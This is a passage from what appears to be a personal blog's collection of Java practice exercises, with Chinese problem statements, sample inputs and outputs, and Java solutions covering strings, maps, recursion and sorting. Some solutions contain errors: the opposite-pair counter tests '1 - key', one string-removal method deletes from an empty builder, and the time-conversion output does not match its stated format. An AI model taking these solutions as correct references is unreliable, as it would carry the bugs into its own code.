105 for (int i = 0; i \u0026lt; Math.min(this.size(), other.size()); i++) { 106 Number thisValue = this.values.get(i); 107 Number otherValue = other.values.get(i); 108 109 if (thisValue instanceof Integer) { 110 this.values.set(i, (T) (Number) (thisValue.intValue() / otherValue.intValue())); 111 } else if (thisValue instanceof Double) { 112 this.values.set(i, (T) (Number) (thisValue.doubleValue() / otherValue.doubleValue())); 113 } else if (thisValue instanceof Float) { 114 this.values.set(i, (T) (Number) (thisValue.floatValue() / otherValue.floatValue())); 115 } else if (thisValue instanceof Long) { 116 this.values.set(i, (T) (Number) (thisValue.longValue() / otherValue.longValue())); 117 } else if (thisValue instanceof Short) { 118 this.values.set(i, (T) (Number) (thisValue.shortValue() / otherValue.shortValue())); 119 } else if (thisValue instanceof Byte) { 120 this.values.set(i, (T) (Number) (thisValue.byteValue() / otherValue.byteValue())); 121 } else { 122 throw new UnsupportedOperationException(); 123 } 124 } 125 126 return this; 127 } 128 129 public String toString() { 130 return values.toString(); 131 } 132} 重新定义一个str类,使其可以完成加法和减法的操作。其中加法操作执行如下:\u0026quot;abcdefg\u0026quot; + \u0026quot;acdi\u0026quot; = \u0026quot;abcdefgi\u0026quot;即把加号后面的字符串没出现在前面字符串中的字符连接到字符串后面得到的新字符串为加法运算的结果。\u0026quot;abcdefg\u0026quot; - \u0026quot;acdi\u0026quot; = \u0026quot;befg\u0026quot;即把减号前面字符串去掉后面字符串中出现的字符剩余的字符为减法运算的结果。并可以对字符串做打印输出操作。 从键盘输入两行字符串,输出两行字符串的加法运算和减法运算后的值。\n1example: 2 3input: 4abcdefg 5acdi 6 7output: 8abcdefgi 9befg 1// Main.java 2package com.jackgdn; 3 4import java.util.Scanner; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner scanner = new Scanner(System.in); 9 NewStr aStr = new NewStr(scanner.nextLine()); 10 NewStr bStr = new NewStr(scanner.nextLine()); 11 scanner.close(); 12 13 NewStr cStr = aStr.copy(); 14 aStr.addNoDuplicates(bStr); 15 cStr.removeDuplicates(bStr); 16 17 System.out.println(aStr); 18 System.out.println(cStr); 19 } 20} 21 22// NewStr.java 23package com.jackgdn; 24 25public class NewStr { // String 类是一个 final 类,不能被继承 26 public String value; 27 28 public NewStr() { 29 value = \u0026#34;\u0026#34;; 30 } 31 32 public NewStr(String value) { 33 this.value = value; 34 } 35 36 public void addNoDuplicates(String s) { 37 StringBuilder sb = new StringBuilder(value); 38 for (char c : s.toCharArray()) { 39 if (value.indexOf(c) == -1) { 40 sb.append(c); 41 } 42 } 43 value = sb.toString(); 44 } 45 46 public void addNoDuplicates(NewStr other) { 47 StringBuilder sb = new StringBuilder(this.value); 48 for (char c : other.value.toCharArray()) { 49 if (this.value.indexOf(c) == -1) { 50 sb.append(c); 51 } 52 } 53 this.value = sb.toString(); 54 } 55 56 public void removeDuplicates(String s) { 57 StringBuilder sb = new StringBuilder(); 58 for (char c : s.toCharArray()) { 59 int index = value.indexOf(c); 60 if (index != -1) { 61 sb.deleteCharAt(index); 62 } 63 } 64 value = sb.toString(); 65 } 66 67 public void removeDuplicates(NewStr other) { 68 StringBuilder sb = new StringBuilder(this.value); 69 int offset = 0; 70 for (char c : other.value.toCharArray()) { 71 int index = this.value.indexOf(c); 72 if (index != -1) { 73 sb.deleteCharAt(index - offset); // StringBuilder 越来越短但是 this.value 长度不变,因此需要 offset 确保删掉正确的字符 74 offset++; 75 } 76 } 77 this.value = sb.toString(); 78 } 79 80 public NewStr copy() { 81 return new NewStr(value); 82 } 83 84 @Override 85 public String toString() { 86 return value; 87 } 88} 从键盘输入一个m,n,代表二维数组的行和列,输入m行数据,每行数据一共n个,用空格隔开。查找行和列中包括的2023的个数。(m和n均大于等于4,m和n可以不相等,且同一行同一列中只能找到一个2023)。 1example: 2 3input: 44 4 52 0 2 3 60 2 0 2 72 0 2 3 83 3 3 1 9 10output: 114 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int m = scanner.nextInt(); 9 int n = scanner.nextInt(); 10 scanner.nextLine(); 11 int count = 0; 12 String[] arr = new String[m]; 13 for (int i = 0; i \u0026lt; m; i++) { 14 arr[i] = scanner.nextLine(); 15 if (arr[i].contains(\u0026#34;2 0 2 3\u0026#34;)) { 16 count++; 17 } 18 } 19 scanner.close(); 20 21 for (int i = 0; i \u0026lt; 2 * n - 1; i++) { 22 StringBuilder sb = new StringBuilder(); 23 for (int j = 0; j \u0026lt; m; j++) { 24 sb.append(arr[j].charAt(i)); 25 } 26 String s = sb.toString(); 27 if (s.contains(\u0026#34;2023\u0026#34;)) { 28 count++; 29 } 30 } 31 32 System.out.println(count); 33 } 34} 用泰勒级数展开求e的值。$e=1+\\frac1{1!}+\\frac1{2!}+\\cdots+\\frac1{n!}$,从键盘输入一个n,根据n值得不同,给出e的值。 1example: 2 3input: 410 5 6output: 72.7182818011463845 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 scanner.close(); 10 11 double e = series(n); 12 System.out.println(e); 13 } 14 15 public static double series(int n) { 16 double result = 0.0; 17 for (int i = 0; i \u0026lt;= n; i++) { 18 result += 1.0 / factorial(i); 19 } 20 return result; 21 } 22 23 public static int factorial(int n) { 24 if (n == 0) { 25 return 1; 26 } else { 27 int result = 1; 28 for (int i = 1; i \u0026lt;= n; i++) { 29 result *= i; 30 } 31 return result; 32 } 33 } 34} 输入一组字符串,字符串可能包括英文字符数字字符或者符号等,统计其中出现的每一个字符,及字符出现的次数,将字符和它出现次数存储在一个字典中。(注:区分大小写,即大写的A和小写的a不是一个字符) 1input: 2asuusea7472a 3 4output: 5{\u0026#39;a\u0026#39;: 3, \u0026#39;s\u0026#39;: 2, \u0026#39;u\u0026#39;: 2, \u0026#39;e\u0026#39;: 1, \u0026#39;7\u0026#39;: 2, \u0026#39;4\u0026#39;: 1, \u0026#39;2\u0026#39;: 1} 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.LinkedHashMap; // LinkedHashMap 保留插入序 6 7public class Main { 8 public static void main(String[] args) { 9 Scanner scanner = new Scanner(System.in); 10 String s = scanner.nextLine(); 11 scanner.close(); 12 13 Map\u0026lt;Character, Integer\u0026gt; result = new LinkedHashMap\u0026lt;\u0026gt;(); 14 for (char c : s.toCharArray()) { 15 int count = result.getOrDefault(c, 0); 16 result.put(c, count + 1); 17 } 18 19 System.out.println(result); 20 } 21} 从键盘接收一个用空格隔开的长字符串,将字符串整理为按照单词首字母区分的字典,字典的键为大写字母,值为一个所有以此字母开头的单词列表。列表中不包括相同单词。 1input: 2why does someone believe you when you say 3 4ouput: 5{\u0026#39;W\u0026#39;: [\u0026#39;why\u0026#39;, \u0026#39;when\u0026#39;], \u0026#39;D\u0026#39;: [\u0026#39;does\u0026#39;], \u0026#39;S\u0026#39;: [\u0026#39;someone\u0026#39;, \u0026#39;say\u0026#39;], \u0026#39;B\u0026#39;: [\u0026#39;believe\u0026#39;], \u0026#39;Y\u0026#39;: [\u0026#39;you\u0026#39;]} 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.Set; 6import java.util.LinkedHashMap; 7import java.util.LinkedHashSet; 8 9public class Main { 10 public static void main(String[] args) { 11 Scanner scanner = new Scanner(System.in); 12 String[] words = scanner.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 13 scanner.close(); 14 15 Map\u0026lt;Character, Set\u0026lt;String\u0026gt;\u0026gt; result = new LinkedHashMap\u0026lt;\u0026gt;(); 16 for (String word : words) { 17 Set\u0026lt;String\u0026gt; wordSet = result.getOrDefault(Character.toUpperCase(word.charAt(0)), new LinkedHashSet\u0026lt;\u0026gt;()); 18 wordSet.add(word); 19 result.put(Character.toUpperCase(word.charAt(0)), wordSet); 20 } 21 22 System.out.println(result); 23 } 24} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A05/","section":"post","tags":["Java"],"title":"Java 练习(五)"},{"body":" 从键盘接收一个长字符串,统计其中的元音字母(包括大写和小写的),并按照字母表的顺序,把元音和元音的个数组成一个一位数组元素存在二维数组中。假设元音a的个数为0个,应该在数组中添加元素[\u0026quot;a\u0026quot;, 0]。(注意:大写和小写的元音,统一转换为小写字母计算元音个数) 1example: 2 3input: 4diwisniisiaidiengiowiwiOAIANAIDID 5 6output: 7[[\u0026#39;a\u0026#39;, 4], [\u0026#39;e\u0026#39;, 1], [\u0026#39;i\u0026#39;, 13], [\u0026#39;o\u0026#39;, 2], [\u0026#39;u\u0026#39;, 0]] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.TreeMap; 6import java.util.List; 7import java.util.ArrayList; 8 9public class Main { 10 public static void main(String[] args) { 11 String s; 12 try (Scanner scanner = new Scanner(System.in)) { 13 s = scanner.nextLine(); 14 } 15 16 Map\u0026lt;Character, Integer\u0026gt; result = new TreeMap\u0026lt;\u0026gt;(); // TreeMap 将 key 按字典序排序 17 for (char c : new char[] { \u0026#39;a\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;u\u0026#39; }) { 18 result.put(c, 0); 19 } 20 21 for (char c : s.toCharArray()) { 22 switch (Character.toLowerCase(c)) { 23 case \u0026#39;a\u0026#39;: 24 result.put(\u0026#39;a\u0026#39;, result.get(\u0026#39;a\u0026#39;) + 1); 25 break; 26 case \u0026#39;e\u0026#39;: 27 result.put(\u0026#39;e\u0026#39;, result.get(\u0026#39;e\u0026#39;) + 1); 28 break; 29 case \u0026#39;i\u0026#39;: 30 result.put(\u0026#39;i\u0026#39;, result.get(\u0026#39;i\u0026#39;) + 1); 31 break; 32 case \u0026#39;o\u0026#39;: 33 result.put(\u0026#39;o\u0026#39;, result.get(\u0026#39;o\u0026#39;) + 1); 34 break; 35 case \u0026#39;u\u0026#39;: 36 result.put(\u0026#39;u\u0026#39;, result.get(\u0026#39;u\u0026#39;) + 1); 37 break; 38 default: 39 break; 40 } 41 } 42 43 List\u0026lt;List\u0026lt;Object\u0026gt;\u0026gt; resultList = new ArrayList\u0026lt;\u0026gt;(); 44 for (Map.Entry\u0026lt;Character, Integer\u0026gt; entry : result.entrySet()) { // 遍历 Map 的 entry 45 List\u0026lt;Object\u0026gt; entryList = new ArrayList\u0026lt;\u0026gt;(); 46 entryList.add(entry.getKey()); 47 entryList.add(entry.getValue()); 48 resultList.add(entryList); 49 } 50 51 System.out.println(resultList); 52 } 53} 从键盘输入一个n,代表要输入的整数个数,再输入一行用单个空格隔开的非零整数,每个整数各不相同。输出一个整数,是n个非零整数中包含的相反数共有多少对。(注: 1和-1就是一对相反数) 1example: 2 3input: 45 51 2 3 -1 -2 6 7output: 82 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Map; 5import java.util.HashMap; 6 7public class Main { 8 public static void main(String[] args) { 9 Scanner scanner = new Scanner(System.in); 10 int n = scanner.nextInt(); 11 Map\u0026lt;Integer, Integer\u0026gt; map = new HashMap\u0026lt;\u0026gt;(); 12 for (int i = 0; i \u0026lt; n; i++) { 13 map.put(scanner.nextInt(), 1); 14 } 15 scanner.close(); 16 17 int count = 0; 18 for (Map.Entry\u0026lt;Integer, Integer\u0026gt; entry : map.entrySet()) { 19 if (map.containsKey(1 - entry.getKey())) { 20 count++; 21 } 22 } 23 24 System.out.println(count / 2); 25 } 26} 利用递归编写程序。 $$ f(a,b)=\\begin{cases}b:a=0 \\\\ a:b=0 \\\\ f(a/2,b)+2a:a\u0026gt;b\\space and\\space a\\neq0\\space and\\space b \\neq0 \\\\ f(a,b/2)+2b:b\u0026gt;a\\space and\\space a\\neq0\\space and\\space b \\neq0 \\\\ f(a-1,b+1):otherwise\\end{cases} $$\n从键盘输入a,b的值。输出f(a,b)的值。\n1example: 2 3input: 43 54 6 7output: 820 9 10input: 114 120 13 14output: 154 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 int a = scanner.nextInt(); 9 int b = scanner.nextInt(); 10 System.out.println(f(a, b)); 11 } 12 } 13 14 public static int f(int a, int b) { 15 if (a == 0) { 16 return b; 17 } else if (b == 0) { 18 return a; 19 } else if (a \u0026gt; b \u0026amp;\u0026amp; a != 0 \u0026amp;\u0026amp; b != 0) { 20 return f(a / 2, b) + 2 * a; 21 } else if (b \u0026gt; a \u0026amp;\u0026amp; a != 0 \u0026amp;\u0026amp; b != 0) { 22 return f(a, b / 2) + 2 * b; 23 } else { 24 return f(a - 1, b + 1); 25 } 26 } 27} 从键盘输入一个一维数组,一维数组中 包含多个数字,将这些数字中包含9的数字从一维数组中删掉。输出由剩下数字组成的一维数组。 1example: 2 3input: 4[589775, 677017, 34439, 48731548, 782295632, 181967909] 5 6output: 7[677017, 48731548] 8 9input: 10[292069010, 73980, 8980155, 921545108, 75841309, 6899644] 11 12output: 13[] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6 7public class Main { 8 public static void main(String[] args) { 9 String numsArrayString; 10 try (Scanner scanner = new Scanner(System.in)) { 11 numsArrayString = scanner.nextLine(); 12 } 13 String[] numsStringsArray = numsArrayString.substring(1, numsArrayString.length() - 1) 14 .split(\u0026#34;\\\\s*,\\\\s*\u0026#34;); 15 16 List\u0026lt;String\u0026gt; resultNumsStrings = new ArrayList\u0026lt;\u0026gt;(); 17 for (String numString : numsStringsArray) { 18 if (!numString.contains(\u0026#34;9\u0026#34;)) { 19 resultNumsStrings.add(numString); 20 } 21 } 22 System.out.println(resultNumsStrings); 23 } 24} 二维列表的输入和垂直对称变换。形如[[1,2,3],[4,5,6],[7,8,9]]的列表,被称为二维列表(列表的一重嵌套)。请您: ①先读入矩(数)阵的行和列,并依次将矩(数)阵的元素存入到二维列表的对应位置上;\n②在此基础上,实现垂直对称变换;\n③按照先行后列的顺序将二维列表中的每一个元素添加到一个一维列表中,并输出该一维列表。\n1比如: 2 3输入为: 42 3 51 2 3 64 5 6 7 8变换后,二维列表中存储的矩阵形式如下: 94 5 6 101 2 3 11 12输出为: 13[4, 5, 6, 1, 2, 3] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Arrays; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner scanner = new Scanner(System.in); 9 int rows = scanner.nextInt(); 10 int cols = scanner.nextInt(); 11 int[][] matrix = new int[rows][cols]; 12 for (int i = 0; i \u0026lt; rows; i++) { 13 for (int j = 0; j \u0026lt; cols; j++) { 14 matrix[i][j] = scanner.nextInt(); 15 } 16 } 17 scanner.close(); 18 19 int[] result = new int[rows * cols]; 20 for (int i = rows; i \u0026gt; 0; i--) { 21 for (int j = 0; j \u0026lt; cols; j++) { 22 result[(rows - i) * cols + j] = matrix[i - 1][j]; 23 } 24 } 25 26 System.out.println(Arrays.toString(result)); 27 } 28} 编写一个程序计算c的值,$c=\\sqrt{a^2+b^2-2abcosr}$,从键盘输入一个a,一个b,一个r,输出c的值。(保留两位小数) 1example: 2 3input: 42.5 53.4 690 7 8output: 95.04 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 double a, b, r; 8 try (Scanner scanner = new Scanner(System.in)) { 9 a = scanner.nextDouble(); 10 b = scanner.nextDouble(); 11 r = scanner.nextDouble(); 12 } 13 14 double c = Math.sqrt(a * a + b * b - 2 * a * b * Math.cos(r)); 15 System.out.println(String.format(\u0026#34;%.2f\u0026#34;, c)); 16 } 17} 从键盘输入一组由单词和空格组成的长字符串,统计字符串中不包括元音字母的单词个数。 1example: 2 3input: 4word by word 5 6output: 71 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 String sentence; 8 try (Scanner scanner = new Scanner(System.in)) { 9 sentence = scanner.nextLine(); 10 } 11 String[] words = sentence.trim().split(\u0026#34;\\\\s+\u0026#34;); 12 13 int count = 0; 14 for (String word : words) { 15 if (!containsVowel(word)) { 16 count++; 17 } 18 } 19 20 System.out.println(count); 21 } 22 23 public static boolean containsVowel(String word) { 24 String vowels = \u0026#34;aeiouAEIOU\u0026#34;; 25 for (char c : word.toCharArray()) { 26 if (vowels.indexOf(c) != -1) { 27 return true; 28 } 29 } 30 return false; 31 } 32} 输入一个由秒组成的字符串例如15678s,转换成小时分秒输出,或输入一个小时组成的字符串3.56h,转换成秒输出。 1example: 2 3input: 415678s 5 6output: 7Total time is: 4 hour 21 minute 18 second 8 9input: 103.56h 11 12output: 13Total second is: 12816 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 String timeString; 8 try (Scanner scanner = new Scanner(System.in)) { 9 timeString = scanner.nextLine(); 10 } 11 12 String result = parseTime(timeString); 13 System.out.println(result); 14 } 15 16 public static String parseTime(String timeString) { 17 if (timeString.charAt(timeString.length() - 1) == \u0026#39;s\u0026#39;) { 18 int second = Integer.parseInt(timeString.substring(0, timeString.length() - 1)); 19 return secondToHour(second); 20 } else { 21 double hour = Double.parseDouble(timeString.substring(0, timeString.length() - 1)); 22 return hourToSecond(hour); 23 } 24 } 25 26 public static String secondToHour(int s) { 27 int hour = s / 3600; 28 int minute = (s % 3600) / 60; 29 int second = s % 60; 30 return hour + \u0026#34; hours \u0026#34; + minute + \u0026#34; minutes \u0026#34; + second + \u0026#34; seconds\u0026#34;; 31 } 32 33 public static String hourToSecond(double h) { 34 int second = (int) (h * 3600); 35 return second + \u0026#34; seconds\u0026#34;; 36 } 37} 从键盘输入一个n,打印与n相关的图像。具体图形见例子。 1example: 2 3input: 43 5 6output: 7* 8** 9*** 10 11input: 126 13 14output: 15* 16** 17*** 18**** 19***** 20****** 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 int n = scanner.nextInt(); 9 for (int i = 1; i \u0026lt;= n; i++) { 10 System.out.println(\u0026#34;*\u0026#34;.repeat(i)); 11 } 12 } 13 } 14} 编写一个程序,从键盘输入一行一维数组,一行符号,一行数字,根据符号,计算一维数组值的改变。输入符号只有四种,分别为“+”“-”“*”“/”,当符号为“/”时,判断一维数组中的每个元素是什么类型,如果每个元素都为int型数据,输出的一维数组中每一项,为整除的结果,即输出的一维数组中每一项的值都为int型,如果一维数组中至少包含一个float型数据,则输出的一维数组中每个元素都为float型数据。 1example: 2 3input: 4[1,2,3,4] 5+ 63 7 8output: 9[4,5,6,7] 10 11input: 12[1,2,3,4] 13* 143 15 16output: 17[3,6,9,12] 18 19input: 20[1,2,3,4] 21/ 222 23 24output: 25[0,1,1,2] 26 27input: 28[1.0,2,3,4] 29/ 302 31 32output: 33[0.5, 1.0, 1.5, 2.0] 1package com.jackgdn; 2 3import java.util.Scanner; 4import com.google.gson.Gson; 5import java.util.Arrays; 6 7public class Main { 8 public static void main(String[] args) { 9 10 String numsArrayString; 11 char operator; 12 int operand; 13 try (Scanner scanner = new Scanner(System.in)) { 14 numsArrayString = scanner.nextLine(); 15 operator = scanner.nextLine().charAt(0); 16 operand = scanner.nextInt(); 17 } 18 19 Gson gson = new Gson(); 20 if (numsArrayString.contains(\u0026#34;.\u0026#34;)) { 21 Double[] numsArray = gson.fromJson(numsArrayString, Double[].class); 22 switch (operator) { 23 case \u0026#39;+\u0026#39;: 24 for (int i = 0; i \u0026lt; numsArray.length; i++) { 25 numsArray[i] += operand; 26 } 27 break; 28 case \u0026#39;-\u0026#39;: 29 for (int i = 0; i \u0026lt; numsArray.length; i++) { 30 numsArray[i] -= operand; 31 } 32 break; 33 case \u0026#39;*\u0026#39;: 34 for (int i = 0; i \u0026lt; numsArray.length; i++) { 35 numsArray[i] *= operand; 36 } 37 break; 38 case \u0026#39;/\u0026#39;: 39 for (int i = 0; i \u0026lt; numsArray.length; i++) { 40 numsArray[i] /= operand; 41 } 42 break; 43 default: 44 System.out.println(\u0026#34;Invalid operator\u0026#34;); 45 return; 46 } 47 System.out.println(Arrays.toString(numsArray)); 48 } else { 49 Integer[] numsArray = gson.fromJson(numsArrayString, Integer[].class); 50 switch (operator) { 51 case \u0026#39;+\u0026#39;: 52 for (int i = 0; i \u0026lt; numsArray.length; i++) { 53 numsArray[i] += operand; 54 } 55 break; 56 case \u0026#39;-\u0026#39;: 57 for (int i = 0; i \u0026lt; numsArray.length; i++) { 58 numsArray[i] -= operand; 59 } 60 break; 61 case \u0026#39;*\u0026#39;: 62 for (int i = 0; i \u0026lt; numsArray.length; i++) { 63 numsArray[i] *= operand; 64 } 65 break; 66 case \u0026#39;/\u0026#39;: 67 for (int i = 0; i \u0026lt; numsArray.length; i++) { 68 numsArray[i] /= operand; 69 } 70 break; 71 default: 72 System.out.println(\u0026#34;Invalid operator\u0026#34;); 73 return; 74 } 75 System.out.println(Arrays.toString(numsArray)); 76 } 77 } 78} 某公司有n千万元可以用于对a,b,c三个项目的投资。假设每年投资一个项目,投资的规则是:或者对a投资1千万,或者对b投资2千万,或者对c投资2千万,从键盘输入一个n,代表投资的n千万,输出可以得到的总的方案数有多少个。 将该问题转换为递归公式,可以写成:$f(n)=f(n-1)+2f(n-2)$,其中f(1) = 1,f(2) = 3。 1example: 2 3input: 43 5 6output: 75 8 9input: 1010 11 12output: 13683 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 int n = scanner.nextInt(); 9 System.out.println(f(n)); 10 } 11 } 12 13 public static int f(int n) { 14 if (n == 1) { 15 return 1; 16 } else if (n == 2) { 17 return 3; 18 } else { 19 return f(n - 1) + 2 * f(n - 2); 20 } 21 } 22} 输入两行数据,第一个包含一个整数n,表示数列中整数的个数。第二行包含n个整数a1,a2,a3,……an,表示给定的数列,相邻的整数之间用一个空格分割。输出一个整数,表示给定的数列有多少段。 1example: 2 3input: 48 58 8 8 0 12 12 8 0 6 7output: 85 9 10(注:8 8 8 是第一段,0 是第二段, 12 12 是第三段 , 8 是第四段,最后一个0 是第五段。) 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 int n = scanner.nextInt(); 9 int count = 1; 10 int previous = scanner.nextInt(); 11 if (n == 1) { 12 System.out.println(count); 13 return; 14 } 15 16 for (int i = 1; i \u0026lt; n; i++) { 17 int current = scanner.nextInt(); 18 if (current != previous) { 19 count++; 20 } 21 previous = current; 22 } 23 System.out.println(count); 24 } 25 } 26} 从键盘输入一个未排序的一维数组,利用选择排序对其进行排序,输出每一次选择排序后得到的一维数组序列。选择排序的执行原理是扫描整个无序序列,将最小元素与无序序列索引0的位置做交换。第二次选择剩余无序序列中最小的元素与索引是1的位置交换,以此类推,直到最后一次选择剩余无序序列中最小的元素与索引是len-1的位置做交换。 1example: 2 3input: 4[6,2,7,5,4,1,3] 5 6output: 7[1, 2, 7, 5, 4, 6, 3] 8[1, 2, 7, 5, 4, 6, 3] 9[1, 2, 3, 5, 4, 6, 7] 10[1, 2, 3, 4, 5, 6, 7] 11[1, 2, 3, 4, 5, 6, 7] 12[1, 2, 3, 4, 5, 6, 7] 13 14input: 15[22,8,16,5,14,17] 16 17output: 18[5, 8, 16, 22, 14, 17] 19[5, 8, 16, 22, 14, 17] 20[5, 8, 14, 22, 16, 17] 21[5, 8, 14, 16, 22, 17] 22[5, 8, 14, 16, 17, 22] 1package com.jackgdn; 2 3import java.util.Scanner; 4import com.google.gson.Gson; 5import java.util.Arrays; 6 7public class Main { 8 public static void main(String[] args) { 9 String numsArrayString; 10 try (Scanner scanner = new Scanner(System.in)) { 11 numsArrayString = scanner.nextLine(); 12 } 13 Gson gson = new Gson(); 14 int[] numsArray = gson.fromJson(numsArrayString, int[].class); 15 slectionSort(numsArray); 16 } 17 18 public static void slectionSort(int[] array) { 19 for (int i = 0; i \u0026lt; array.length - 1; i++) { 20 int key = i; 21 for (int j = i + 1; j \u0026lt; array.length; j++) { 22 if (array[j] \u0026lt; array[key]) { 23 key = j; 24 } 25 } 26 int temp = array[key]; 27 array[key] = array[i]; 28 array[i] = temp; 29 System.out.println(Arrays.toString(array)); 30 } 31 } 32} 问题描述 求出区间[a,b]中所有整数的质因数分解。其中:b \u0026gt; a \u0026gt; 1,且a,b皆为正整数。\n输入格式\n输入两个整数a,b。\n输出格式\n每行输出一个数的分解。\n1样例输入 23 10 3 4样例输出 53=3 64=2*2 75=5 86=2*3 97=7 108=2*2*2 119=3*3 1210=2*5 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.stream.Collectors; 7 8public class Main { 9 public static void main(String[] args) { 10 int a, b; 11 try (Scanner scanner = new Scanner(System.in)) { 12 a = scanner.nextInt(); 13 b = scanner.nextInt(); 14 } 15 16 for (int i = a; i \u0026lt;= b; i++) { 17 System.out.println(String.format(\u0026#34;%d=%s\u0026#34;, i, 18 primeFactors(i).stream().map(String::valueOf).collect(Collectors.joining(\u0026#34;*\u0026#34;)))); 19 } 20 } 21 22 public static List\u0026lt;Integer\u0026gt; primeFactors(int n) { 23 List\u0026lt;Integer\u0026gt; factors = new ArrayList\u0026lt;\u0026gt;(); 24 while (!isPrime(n) \u0026amp;\u0026amp; n \u0026gt; 1) { 25 for (int i = 2; i \u0026lt; n; i++) { 26 if (n % i == 0 \u0026amp;\u0026amp; isPrime(i)) { 27 factors.add(i); 28 n /= i; 29 break; 30 } 31 } 32 } 33 factors.add(n); 34 return factors; 35 } 36 37 public static boolean isPrime(int n) { 38 if (n \u0026lt; 2) { 39 return false; 40 } else { 41 for (int i = 2; i * i \u0026lt;= n; i++) { 42 if (n % i == 0) { 43 return false; 44 } 45 } 46 return true; 47 } 48 } 49} 请编写程序,实现一下功能:从键盘输入一个n,代表二维数组的行和列,输入n行数列,每行的数列中包括n个数字。判断该矩阵是不是交错矩阵,如果是交错矩阵返回一个True,否则返回Flase。所谓交错矩阵,就是当前矩阵与它的转置矩阵的和为零矩阵。例如: $$ \\begin{bmatrix} 0 \u0026amp; -3 \u0026amp; 7 \\\\ 3 \u0026amp; 0 \u0026amp; 9 \\\\ -7 \u0026amp; -9 \u0026amp; 0 \\end{bmatrix} \\quad \\text{与} \\quad \\begin{bmatrix} 0 \u0026amp; 3 \u0026amp; -7 \\\\ -3 \u0026amp; 0 \u0026amp; -9 \\\\ 7 \u0026amp; 9 \u0026amp; 0 \\end{bmatrix} $$\n互为交错矩阵,它们的转置矩阵与自身的和为全零的矩阵。\n1example: 2 3input: 43 50 -3 7 63 0 9 7-7 -9 0 8output: 9True 10 11input: 123 130 3 7 143 0 9 157 9 0 16output: 17False 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 int[][] matrix = new int[n][n]; 10 for (int i = 0; i \u0026lt; n; i++) { 11 for (int j = 0; j \u0026lt; n; j++) { 12 matrix[i][j] = scanner.nextInt(); 13 } 14 } 15 scanner.close(); 16 boolean isZigZag = true; 17 outerLoop: // 定义标签 18 for (int i = 0; i \u0026lt; n; i++) { 19 for (int j = 0; j \u0026lt; n; j++) { 20 if (matrix[i][j] + matrix[j][i] != 0) { 21 isZigZag = false; 22 break outerLoop; // 跳出两层循环 23 } 24 } 25 } 26 System.out.println(isZigZag); 27 } 28} 从键盘输入一组数据,以0结尾,0不作为一个数据进行排序,将该组数据整理为,奇数从小到大,偶数从小到大的列表输出。 1input: 21 32 43 54 60 7 8output: 9[1, 3, 2, 4] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6import java.util.Collections; 7 8public class Main { 9 public static void main(String[] args) { 10 Scanner scanner = new Scanner(System.in); 11 List\u0026lt;Integer\u0026gt; oddNums = new ArrayList\u0026lt;\u0026gt;(); 12 List\u0026lt;Integer\u0026gt; evenNums = new ArrayList\u0026lt;\u0026gt;(); 13 int n = scanner.nextInt(); 14 while (n != 0) { 15 if (isOdd(n)) { 16 oddNums.add(n); 17 } else { 18 evenNums.add(n); 19 } 20 n = scanner.nextInt(); 21 } 22 scanner.close(); 23 24 Collections.sort(oddNums); 25 Collections.sort(evenNums); 26 oddNums.addAll(evenNums); 27 System.out.println(oddNums); 28 } 29 30 public static boolean isOdd(int num) { 31 return num % 2 != 0; 32 } 33} 已知有公式 $\\frac\\pi4=1-\\frac13+\\frac15-\\frac17+\\cdots+(-1)^{n+1}\\frac1{2n-1}$,从键盘输入一个n,m,计算所得到的 $\\pi$ 值,其中n表示要计算到的整数,m表示要保留的精度。 1example: 2 3input: 410 52 6 7output: 83.04 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 double n; 8 int m; 9 try (Scanner scanner = new Scanner(System.in)) { 10 n = scanner.nextDouble(); 11 m = scanner.nextInt(); 12 } 13 14 double sum = 0; 15 for (int i = 1; i \u0026lt;= n; i++) { 16 double term = calculateTerm(i); 17 sum += term; 18 } 19 20 System.out.println(String.format(\u0026#34;%.\u0026#34; + m + \u0026#34;f\u0026#34;, sum * 4)); 21 } 22 23 public static double calculateTerm(double n) { 24 return Math.pow(-1, n + 1) * 1 / (2 * n - 1); 25 } 26} 从键盘输入一个n,表示给定整数的个数。再输入一行包含n个数的不相等整数序列。输出值正好相差1的数对的个数。 1example: 2 3input: 46 510 2 6 3 7 8 6 7output: 83 9 10(注:其中相差1的数对为(2,3)、(6,7)、(7,8)) 1package com.jackgdn; 2 3import 